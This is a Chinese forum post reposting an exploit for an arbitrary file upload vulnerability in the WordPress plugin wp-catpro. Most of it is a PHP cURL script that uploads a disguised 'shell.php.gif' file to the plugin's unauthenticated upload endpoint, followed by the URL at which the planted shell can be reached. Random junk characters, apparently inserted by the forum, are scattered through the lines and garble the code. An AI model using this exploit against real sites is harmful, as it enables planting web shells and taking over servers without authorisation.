找回密码
 立即注册
查看: 2626|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
8 }' x. [8 V9 M3 a# y) r2 V#-----------------------------------------------------------------------+ g: s- q: _1 K! ^$ [) h7 l
+ P6 E3 F: Y. P0 }! A; |
作者  => Zikou-16
4 B1 m( N* {6 u( _8 B: [; R& @  s邮箱 => zikou16x@gmail.com
1 k. Y" x6 |$ \测试系统 : Windows 7 , Backtrack 5r3
( s$ Q" ?6 Y$ M8 Z1 k, v5 L下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
5 R- F0 L4 y4 j+ A  o####
" z6 g$ W9 }1 j. }, f 9 p$ R1 R! N9 V; L/ O, W
#=> Exploit 信息:
; V: g( [( z6 k4 p( f------------------8 ?* o5 R6 b) C5 N: k
# 攻击者可以上传 file/shell.php.gif- C( a; o/ O# n9 L! F( X9 f
# ("jpg", "gif", "png")  // Allowed file extensions' p+ x8 C( H+ E& L, q7 ~+ m: s8 `
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)  D+ v  y6 }* V3 X8 g! U
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
+ u4 E# [- K; m------------------) k5 ~  p" O9 Z& n
3 d/ ]" Z4 A3 V
#=> Exploit' i: J5 ~) [6 q+ {
-----------4 A2 |4 A$ U6 g4 `. `* e* A) q
<?php  s; I- }5 D! E* @6 y$ t  I. U
  r$ }! C' e! y; I- T! f7 R
$uploadfile="zik.php.gif";
# S( _3 A" A) n) M& X  g) N$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
* x3 M; J) `3 m6 Y3 }9 Ucurl_setopt($ch, CURLOPT_POST, true);
, w# i  X4 ~! ^curl_setopt($ch, CURLOPT_POSTFIELDS,2 }7 M: \7 u! Z, b; N" L
array('Filedata'=>"@$uploadfile",$ B! ~  T" ?  Y9 C. }, K8 U
'folder'=>'/wp-content/uploads/catpro/'));- s% S3 K$ Q0 d  A! Z2 e2 L
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);2 t& P0 b/ q: i# S5 P# J( D
$postResult = curl_exec($ch);* s6 _# f; Q# q/ V. v9 R# A
curl_close($ch);* L0 G! J8 `- d2 a
* \4 j) a- ^" ^3 M$ M- B7 W/ y
print "$postResult";! {" y7 t( L5 K; O6 q7 W# Z! H- l
5 r  D+ f% v7 s! l* y& ^7 ?( R
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
2 ], W9 F; J! G. F  ?>
! U/ K1 ~& J9 V# R1 x<?php' n5 J6 n) F: m
phpinfo();! l, |) O) s8 _4 g& }
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表